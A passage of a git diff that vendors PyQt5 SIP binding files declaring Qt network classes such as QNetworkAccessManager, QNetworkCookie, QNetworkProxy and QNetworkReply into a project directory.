QNetworkReply *post(const QNetworkRequest &request, QHttpMultiPart *multiPart); + QNetworkReply *put(const QNetworkRequest &request, QIODevice *data); + QNetworkReply *put(const QNetworkRequest &request, const QByteArray &data); + QNetworkReply *put(const QNetworkRequest &request, QHttpMultiPart *multiPart); + +signals: + void proxyAuthenticationRequired(const QNetworkProxy &proxy, QAuthenticator *authenticator); + void authenticationRequired(QNetworkReply *reply, QAuthenticator *authenticator); + void finished(QNetworkReply *reply); +%If (Qt_5_1_0 -) +%If (PyQt_SSL) + void encrypted(QNetworkReply *reply); +%End +%End +%If (PyQt_SSL) + void sslErrors(QNetworkReply *reply, const QList &errors); +%End + void networkAccessibleChanged(QNetworkAccessManager::NetworkAccessibility accessible); +%If (Qt_5_5_0 -) +%If (PyQt_SSL) + void preSharedKeyAuthenticationRequired(QNetworkReply *reply, QSslPreSharedKeyAuthenticator *authenticator); +%End +%End + +protected: + virtual QNetworkReply *createRequest(QNetworkAccessManager::Operation op, const QNetworkRequest &request, QIODevice *device = 0) /AbortOnException,DisallowNone,ReleaseGIL/; + +public: + QNetworkProxyFactory *proxyFactory() const; + void setProxyFactory(QNetworkProxyFactory *factory /Transfer/); + QAbstractNetworkCache *cache() const; + void setCache(QAbstractNetworkCache *cache /Transfer/); + QNetworkReply *deleteResource(const QNetworkRequest &request); + + enum NetworkAccessibility + { + UnknownAccessibility, + NotAccessible, + Accessible, + }; + + QNetworkReply *sendCustomRequest(const QNetworkRequest &request, const QByteArray &verb, QIODevice *data = 0); +%If (Qt_5_8_0 -) + QNetworkReply *sendCustomRequest(const QNetworkRequest &request, const QByteArray &verb, const QByteArray &data); +%End +%If (Qt_5_8_0 -) + QNetworkReply *sendCustomRequest(const QNetworkRequest &request, const QByteArray &verb, QHttpMultiPart *multiPart); +%End + void setConfiguration(const QNetworkConfiguration &config); + QNetworkConfiguration configuration() const; + QNetworkConfiguration activeConfiguration() const; + void setNetworkAccessible(QNetworkAccessManager::NetworkAccessibility accessible); + QNetworkAccessManager::NetworkAccessibility networkAccessible() const; + void clearAccessCache(); +%If (Qt_5_2_0 -) + QStringList supportedSchemes() const; +%End +%If (Qt_5_2_0 -) +%If (PyQt_SSL) + void connectToHostEncrypted(const QString &hostName, quint16 port = 443, const QSslConfiguration &sslConfiguration = QSslConfiguration::defaultConfiguration()); +%End +%End +%If (Qt_5_13_0 -) +%If (PyQt_SSL) + void connectToHostEncrypted(const QString &hostName, quint16 port, const QSslConfiguration &sslConfiguration, const QString &peerName); +%End +%End +%If (Qt_5_2_0 -) + void connectToHost(const QString &hostName, quint16 port = 80); +%End + +protected slots: +%If (Qt_5_2_0 -) + QStringList supportedSchemesImplementation() const; +%End + +public: +%If (Qt_5_9_0 -) + void clearConnectionCache(); +%End +%If (Qt_5_9_0 -) + void setStrictTransportSecurityEnabled(bool enabled); +%End +%If (Qt_5_9_0 -) + bool isStrictTransportSecurityEnabled() const; +%End +%If (Qt_5_9_0 -) + void addStrictTransportSecurityHosts(const QVector &knownHosts); +%End +%If (Qt_5_9_0 -) + QVector strictTransportSecurityHosts() const; +%End +%If (Qt_5_9_0 -) + void setRedirectPolicy(QNetworkRequest::RedirectPolicy policy); +%End +%If (Qt_5_9_0 -) + QNetworkRequest::RedirectPolicy redirectPolicy() const; +%End +%If (Qt_5_10_0 -) + void enableStrictTransportSecurityStore(bool enabled, const QString &storeDir = QString()); +%End +%If (Qt_5_10_0 -) + bool isStrictTransportSecurityStoreEnabled() const; +%End +%If (Qt_5_14_0 -) + bool autoDeleteReplies() const; +%End +%If (Qt_5_14_0 -) + void setAutoDeleteReplies(bool autoDelete); +%End +%If (Qt_5_15_0 -) + int transferTimeout() const; +%End +%If (Qt_5_15_0 -) + void setTransferTimeout(int timeout = QNetworkRequest::TransferTimeoutConstant::DefaultTransferTimeoutConstant); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkconfigmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkconfigmanager.sip new file mode 100644 index 00000000..59502779 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkconfigmanager.sip @@ -0,0 +1,60 @@ +// qnetworkconfigmanager.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkConfigurationManager : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Capability + { + CanStartAndStopInterfaces, + DirectConnectionRouting, + SystemSessionSupport, + ApplicationLevelRoaming, + ForcedRoaming, + DataStatistics, + NetworkSessionRequired, + }; + + typedef QFlags Capabilities; + explicit QNetworkConfigurationManager(QObject *parent /TransferThis/ = 0); + virtual ~QNetworkConfigurationManager(); + QNetworkConfigurationManager::Capabilities capabilities() const; + QNetworkConfiguration defaultConfiguration() const; + QList allConfigurations(QNetworkConfiguration::StateFlags flags = QNetworkConfiguration::StateFlags()) const; + QNetworkConfiguration configurationFromIdentifier(const QString &identifier) const; + void updateConfigurations(); + bool isOnline() const; + +signals: + void configurationAdded(const QNetworkConfiguration &config); + void configurationRemoved(const QNetworkConfiguration &config); + void configurationChanged(const QNetworkConfiguration &config); + void onlineStateChanged(bool isOnline); + void updateCompleted(); +}; + +QFlags operator|(QNetworkConfigurationManager::Capability f1, QFlags f2); +QFlags operator|(QNetworkConfigurationManager::Capability f1, QNetworkConfigurationManager::Capability f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkconfiguration.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkconfiguration.sip new file mode 100644 index 00000000..e3041514 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkconfiguration.sip @@ -0,0 +1,107 @@ +// qnetworkconfiguration.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkConfiguration +{ +%TypeHeaderCode +#include +%End + +public: + QNetworkConfiguration(); + QNetworkConfiguration(const QNetworkConfiguration &other); + ~QNetworkConfiguration(); + bool operator==(const QNetworkConfiguration &cp) const; + bool operator!=(const QNetworkConfiguration &cp) const; + + enum Type + { + InternetAccessPoint, + ServiceNetwork, + UserChoice, + Invalid, + }; + + enum Purpose + { + UnknownPurpose, + PublicPurpose, + PrivatePurpose, + ServiceSpecificPurpose, + }; + + enum StateFlag + { + Undefined, + Defined, + Discovered, + Active, + }; + + typedef QFlags StateFlags; + + enum BearerType + { + BearerUnknown, + BearerEthernet, + BearerWLAN, + Bearer2G, + BearerCDMA2000, + BearerWCDMA, + BearerHSPA, + BearerBluetooth, + BearerWiMAX, +%If (Qt_5_2_0 -) + BearerEVDO, +%End +%If (Qt_5_2_0 -) + BearerLTE, +%End +%If (Qt_5_2_0 -) + Bearer3G, +%End +%If (Qt_5_2_0 -) + Bearer4G, +%End + }; + + QNetworkConfiguration::StateFlags state() const; + QNetworkConfiguration::Type type() const; + QNetworkConfiguration::Purpose purpose() const; + QNetworkConfiguration::BearerType bearerType() const; + QString bearerTypeName() const; +%If (Qt_5_2_0 -) + QNetworkConfiguration::BearerType bearerTypeFamily() const; +%End + QString identifier() const; + bool isRoamingAvailable() const; + QList children() const; + QString name() const; + bool isValid() const; + void swap(QNetworkConfiguration &other /Constrained/); +%If (Qt_5_9_0 -) + int connectTimeout() const; +%End +%If (Qt_5_9_0 -) + bool setConnectTimeout(int timeout); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkcookie.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkcookie.sip new file mode 100644 index 00000000..c739b279 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkcookie.sip @@ -0,0 +1,61 @@ +// qnetworkcookie.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkCookie +{ +%TypeHeaderCode +#include +%End + +public: + enum RawForm + { + NameAndValueOnly, + Full, + }; + + QNetworkCookie(const QByteArray &name = QByteArray(), const QByteArray &value = QByteArray()); + QNetworkCookie(const QNetworkCookie &other); + ~QNetworkCookie(); + bool isSecure() const; + void setSecure(bool enable); + bool isSessionCookie() const; + QDateTime expirationDate() const; + void setExpirationDate(const QDateTime &date); + QString domain() const; + void setDomain(const QString &domain); + QString path() const; + void setPath(const QString &path); + QByteArray name() const; + void setName(const QByteArray &cookieName); + QByteArray value() const; + void setValue(const QByteArray &value); + QByteArray toRawForm(QNetworkCookie::RawForm form = QNetworkCookie::Full) const; + static QList parseCookies(const QByteArray &cookieString); + bool operator==(const QNetworkCookie &other) const; + bool operator!=(const QNetworkCookie &other) const; + bool isHttpOnly() const; + void setHttpOnly(bool enable); + void swap(QNetworkCookie &other /Constrained/); + bool hasSameIdentifier(const QNetworkCookie &other) const; + void normalize(const QUrl &url); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkcookiejar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkcookiejar.sip new file mode 100644 index 00000000..59ed0152 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkcookiejar.sip @@ -0,0 +1,42 @@ +// qnetworkcookiejar.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkCookieJar : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QNetworkCookieJar(QObject *parent /TransferThis/ = 0); + virtual ~QNetworkCookieJar(); + virtual QList cookiesForUrl(const QUrl &url) const; + virtual bool setCookiesFromUrl(const QList &cookieList, const QUrl &url); + virtual bool insertCookie(const QNetworkCookie &cookie); + virtual bool updateCookie(const QNetworkCookie &cookie); + virtual bool deleteCookie(const QNetworkCookie &cookie); + +protected: + void setAllCookies(const QList &cookieList); + QList allCookies() const; + virtual bool validateCookie(const QNetworkCookie &cookie, const QUrl &url) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkdatagram.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkdatagram.sip new file mode 100644 index 00000000..0273c9ce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkdatagram.sip @@ -0,0 +1,55 @@ +// qnetworkdatagram.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) + +class QNetworkDatagram +{ +%TypeHeaderCode +#include +%End + +public: + QNetworkDatagram(); + QNetworkDatagram(const QByteArray &data, const QHostAddress &destinationAddress = QHostAddress(), quint16 port = 0); + QNetworkDatagram(const QNetworkDatagram &other); + ~QNetworkDatagram(); + void swap(QNetworkDatagram &other /Constrained/); + void clear(); + bool isValid() const; + bool isNull() const; + uint interfaceIndex() const; + void setInterfaceIndex(uint index); + QHostAddress senderAddress() const; + QHostAddress destinationAddress() const; + int senderPort() const; + int destinationPort() const; + void setSender(const QHostAddress &address, quint16 port = 0); + void setDestination(const QHostAddress &address, quint16 port); + int hopLimit() const; + void setHopLimit(int count); + QByteArray data() const; + void setData(const QByteArray &data); + QNetworkDatagram makeReply(const QByteArray &payload) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkdiskcache.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkdiskcache.sip new file mode 100644 index 00000000..d500d892 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkdiskcache.sip @@ -0,0 +1,50 @@ +// qnetworkdiskcache.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkDiskCache : QAbstractNetworkCache +{ +%TypeHeaderCode +#include +%End + +public: + explicit QNetworkDiskCache(QObject *parent /TransferThis/ = 0); + virtual ~QNetworkDiskCache(); + QString cacheDirectory() const; + void setCacheDirectory(const QString &cacheDir); + qint64 maximumCacheSize() const; + void setMaximumCacheSize(qint64 size); + virtual qint64 cacheSize() const; + virtual QNetworkCacheMetaData metaData(const QUrl &url); + virtual void updateMetaData(const QNetworkCacheMetaData &metaData); + virtual QIODevice *data(const QUrl &url) /Factory/; + virtual bool remove(const QUrl &url); + virtual QIODevice *prepare(const QNetworkCacheMetaData &metaData); + virtual void insert(QIODevice *device); + QNetworkCacheMetaData fileMetaData(const QString &fileName) const; + +public slots: + virtual void clear(); + +protected: + virtual qint64 expire(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkinterface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkinterface.sip new file mode 100644 index 00000000..e51723ed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkinterface.sip @@ -0,0 +1,152 @@ +// qnetworkinterface.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkAddressEntry +{ +%TypeHeaderCode +#include +%End + +public: + QNetworkAddressEntry(); + QNetworkAddressEntry(const QNetworkAddressEntry &other); + ~QNetworkAddressEntry(); + QHostAddress ip() const; + void setIp(const QHostAddress &newIp); + QHostAddress netmask() const; + void setNetmask(const QHostAddress &newNetmask); + QHostAddress broadcast() const; + void setBroadcast(const QHostAddress &newBroadcast); + bool operator==(const QNetworkAddressEntry &other) const; + bool operator!=(const QNetworkAddressEntry &other) const; + int prefixLength() const; + void setPrefixLength(int length); + void swap(QNetworkAddressEntry &other /Constrained/); +%If (Qt_5_11_0 -) + + enum DnsEligibilityStatus + { + DnsEligibilityUnknown, + DnsIneligible, + DnsEligible, + }; + +%End +%If (Qt_5_11_0 -) + QNetworkAddressEntry::DnsEligibilityStatus dnsEligibility() const; +%End +%If (Qt_5_11_0 -) + void setDnsEligibility(QNetworkAddressEntry::DnsEligibilityStatus status); +%End +%If (Qt_5_11_0 -) + bool isLifetimeKnown() const; +%End +%If (Qt_5_11_0 -) + QDeadlineTimer preferredLifetime() const; +%End +%If (Qt_5_11_0 -) + QDeadlineTimer validityLifetime() const; +%End +%If (Qt_5_11_0 -) + void setAddressLifetime(QDeadlineTimer preferred, QDeadlineTimer validity); +%End +%If (Qt_5_11_0 -) + void clearAddressLifetime(); +%End +%If (Qt_5_11_0 -) + bool isPermanent() const; +%End +%If (Qt_5_11_0 -) + bool isTemporary() const; +%End +}; + +class QNetworkInterface +{ +%TypeHeaderCode +#include +%End + +public: + enum InterfaceFlag + { + IsUp, + IsRunning, + CanBroadcast, + IsLoopBack, + IsPointToPoint, + CanMulticast, + }; + + typedef QFlags InterfaceFlags; + QNetworkInterface(); + QNetworkInterface(const QNetworkInterface &other); + ~QNetworkInterface(); + bool isValid() const; + QString name() const; + QNetworkInterface::InterfaceFlags flags() const; + QString hardwareAddress() const; + QList addressEntries() const; + static QNetworkInterface interfaceFromName(const QString &name); + static QNetworkInterface interfaceFromIndex(int index); + static QList allInterfaces(); + static QList allAddresses(); + int index() const; + QString humanReadableName() const; + void swap(QNetworkInterface &other /Constrained/); +%If (Qt_5_7_0 -) + static int interfaceIndexFromName(const QString &name); +%End +%If (Qt_5_7_0 -) + static QString interfaceNameFromIndex(int index); +%End +%If (Qt_5_11_0 -) + + enum InterfaceType + { + Unknown, + Loopback, + Virtual, + Ethernet, + Slip, + CanBus, + Ppp, + Fddi, + Wifi, + Ieee80211, + Phonet, + Ieee802154, + SixLoWPAN, + Ieee80216, + Ieee1394, + }; + +%End +%If (Qt_5_11_0 -) + QNetworkInterface::InterfaceType type() const; +%End +%If (Qt_5_11_0 -) + int maximumTransmissionUnit() const; +%End +}; + +QFlags operator|(QNetworkInterface::InterfaceFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkproxy.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkproxy.sip new file mode 100644 index 00000000..d558fc9a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkproxy.sip @@ -0,0 +1,154 @@ +// qnetworkproxy.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkProxy +{ +%TypeHeaderCode +#include +%End + +public: + enum ProxyType + { + DefaultProxy, + Socks5Proxy, + NoProxy, + HttpProxy, + HttpCachingProxy, + FtpCachingProxy, + }; + + QNetworkProxy(); + QNetworkProxy(QNetworkProxy::ProxyType type, const QString &hostName = QString(), quint16 port = 0, const QString &user = QString(), const QString &password = QString()); + QNetworkProxy(const QNetworkProxy &other); + ~QNetworkProxy(); + void setType(QNetworkProxy::ProxyType type); + QNetworkProxy::ProxyType type() const; + void setUser(const QString &userName); + QString user() const; + void setPassword(const QString &password); + QString password() const; + void setHostName(const QString &hostName); + QString hostName() const; + void setPort(quint16 port); + quint16 port() const; + static void setApplicationProxy(const QNetworkProxy &proxy); + static QNetworkProxy applicationProxy(); + bool isCachingProxy() const; + bool isTransparentProxy() const; + bool operator==(const QNetworkProxy &other) const; + bool operator!=(const QNetworkProxy &other) const; + + enum Capability + { + TunnelingCapability, + ListeningCapability, + UdpTunnelingCapability, + CachingCapability, + HostNameLookupCapability, +%If (Qt_5_8_0 -) + SctpTunnelingCapability, +%End +%If (Qt_5_8_0 -) + SctpListeningCapability, +%End + }; + + typedef QFlags Capabilities; + void setCapabilities(QNetworkProxy::Capabilities capab); + QNetworkProxy::Capabilities capabilities() const; + void swap(QNetworkProxy &other /Constrained/); + QVariant header(QNetworkRequest::KnownHeaders header) const; + void setHeader(QNetworkRequest::KnownHeaders header, const QVariant &value); + bool hasRawHeader(const QByteArray &headerName) const; + QList rawHeaderList() const; + QByteArray rawHeader(const QByteArray &headerName) const; + void setRawHeader(const QByteArray &headerName, const QByteArray &value); +}; + +class QNetworkProxyQuery +{ +%TypeHeaderCode +#include +%End + +public: + enum QueryType + { + TcpSocket, + UdpSocket, + TcpServer, + UrlRequest, +%If (Qt_5_8_0 -) + SctpSocket, +%End +%If (Qt_5_8_0 -) + SctpServer, +%End + }; + + QNetworkProxyQuery(); + QNetworkProxyQuery(const QUrl &requestUrl, QNetworkProxyQuery::QueryType type = QNetworkProxyQuery::UrlRequest); + QNetworkProxyQuery(const QString &hostname, int port, const QString &protocolTag = QString(), QNetworkProxyQuery::QueryType type = QNetworkProxyQuery::TcpSocket); + QNetworkProxyQuery(quint16 bindPort, const QString &protocolTag = QString(), QNetworkProxyQuery::QueryType type = QNetworkProxyQuery::TcpServer); + QNetworkProxyQuery(const QNetworkConfiguration &networkConfiguration, const QUrl &requestUrl, QNetworkProxyQuery::QueryType queryType = QNetworkProxyQuery::UrlRequest); + QNetworkProxyQuery(const QNetworkConfiguration &networkConfiguration, const QString &hostname, int port, const QString &protocolTag = QString(), QNetworkProxyQuery::QueryType type = QNetworkProxyQuery::TcpSocket); + QNetworkProxyQuery(const QNetworkConfiguration &networkConfiguration, quint16 bindPort, const QString &protocolTag = QString(), QNetworkProxyQuery::QueryType type = QNetworkProxyQuery::TcpServer); + QNetworkProxyQuery(const QNetworkProxyQuery &other); + ~QNetworkProxyQuery(); + bool operator==(const QNetworkProxyQuery &other) const; + bool operator!=(const QNetworkProxyQuery &other) const; + QNetworkProxyQuery::QueryType queryType() const; + void setQueryType(QNetworkProxyQuery::QueryType type); + int peerPort() const; + void setPeerPort(int port); + QString peerHostName() const; + void setPeerHostName(const QString &hostname); + int localPort() const; + void setLocalPort(int port); + QString protocolTag() const; + void setProtocolTag(const QString &protocolTag); + QUrl url() const; + void setUrl(const QUrl &url); + QNetworkConfiguration networkConfiguration() const; + void setNetworkConfiguration(const QNetworkConfiguration &networkConfiguration); + void swap(QNetworkProxyQuery &other /Constrained/); +}; + +class QNetworkProxyFactory /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + QNetworkProxyFactory(); + virtual ~QNetworkProxyFactory(); + virtual QList queryProxy(const QNetworkProxyQuery &query = QNetworkProxyQuery()) = 0; + static void setApplicationProxyFactory(QNetworkProxyFactory *factory /Transfer/); + static QList proxyForQuery(const QNetworkProxyQuery &query); + static QList systemProxyForQuery(const QNetworkProxyQuery &query = QNetworkProxyQuery()); + static void setUseSystemConfiguration(bool enable); +%If (Qt_5_8_0 -) + static bool usesSystemConfiguration(); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkreply.sip new file mode 100644 index 00000000..daa73a4e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkreply.sip @@ -0,0 +1,169 @@ +// qnetworkreply.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkReply : QIODevice +{ +%TypeHeaderCode +#include +%End + +public: + enum NetworkError + { + NoError, + ConnectionRefusedError, + RemoteHostClosedError, + HostNotFoundError, + TimeoutError, + OperationCanceledError, + SslHandshakeFailedError, + UnknownNetworkError, + ProxyConnectionRefusedError, + ProxyConnectionClosedError, + ProxyNotFoundError, + ProxyTimeoutError, + ProxyAuthenticationRequiredError, + UnknownProxyError, + ContentAccessDenied, + ContentOperationNotPermittedError, + ContentNotFoundError, + AuthenticationRequiredError, + UnknownContentError, + ProtocolUnknownError, + ProtocolInvalidOperationError, + ProtocolFailure, + ContentReSendError, + TemporaryNetworkFailureError, + NetworkSessionFailedError, + BackgroundRequestNotAllowedError, +%If (Qt_5_3_0 -) + ContentConflictError, +%End +%If (Qt_5_3_0 -) + ContentGoneError, +%End +%If (Qt_5_3_0 -) + InternalServerError, +%End +%If (Qt_5_3_0 -) + OperationNotImplementedError, +%End +%If (Qt_5_3_0 -) + ServiceUnavailableError, +%End +%If (Qt_5_3_0 -) + UnknownServerError, +%End +%If (Qt_5_6_0 -) + TooManyRedirectsError, +%End +%If (Qt_5_6_0 -) + InsecureRedirectError, +%End + }; + + virtual ~QNetworkReply(); + virtual void abort() = 0; + virtual void close(); + virtual bool isSequential() const; + qint64 readBufferSize() const; + virtual void setReadBufferSize(qint64 size); + QNetworkAccessManager *manager() const; + QNetworkAccessManager::Operation operation() const; + QNetworkRequest request() const; + QNetworkReply::NetworkError error() const; + QUrl url() const; + QVariant header(QNetworkRequest::KnownHeaders header) const; + bool hasRawHeader(const QByteArray &headerName) const; + QList rawHeaderList() const; + QByteArray rawHeader(const QByteArray &headerName) const; + QVariant attribute(QNetworkRequest::Attribute code) const; +%If (PyQt_SSL) + QSslConfiguration sslConfiguration() const; +%End +%If (PyQt_SSL) + void setSslConfiguration(const QSslConfiguration &configuration); +%End + +public slots: + virtual void ignoreSslErrors(); + +signals: + void metaDataChanged(); + void finished(); +%If (Qt_5_1_0 -) +%If (PyQt_SSL) + void encrypted(); +%End +%End + void error(QNetworkReply::NetworkError); +%If (Qt_5_15_0 -) + void errorOccurred(QNetworkReply::NetworkError); +%End +%If (PyQt_SSL) + void sslErrors(const QList &errors); +%End + void uploadProgress(qint64 bytesSent, qint64 bytesTotal); + void downloadProgress(qint64 bytesReceived, qint64 bytesTotal); +%If (Qt_5_5_0 -) +%If (PyQt_SSL) + void preSharedKeyAuthenticationRequired(QSslPreSharedKeyAuthenticator *authenticator); +%End +%End +%If (Qt_5_6_0 -) + void redirected(const QUrl &url); +%End +%If (Qt_5_9_0 -) + void redirectAllowed(); +%End + +protected: + explicit QNetworkReply(QObject *parent /TransferThis/ = 0); + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) /ReleaseGIL/; + void setOperation(QNetworkAccessManager::Operation operation); + void setRequest(const QNetworkRequest &request); + void setError(QNetworkReply::NetworkError errorCode, const QString &errorString); + void setUrl(const QUrl &url); + void setHeader(QNetworkRequest::KnownHeaders header, const QVariant &value); + void setRawHeader(const QByteArray &headerName, const QByteArray &value); + void setAttribute(QNetworkRequest::Attribute code, const QVariant &value); + void setFinished(bool finished); + +public: + bool isFinished() const; + bool isRunning() const; +%If (PyQt_SSL) + void ignoreSslErrors(const QList &errors); +%End + const QList> &rawHeaderPairs() const; + +protected: 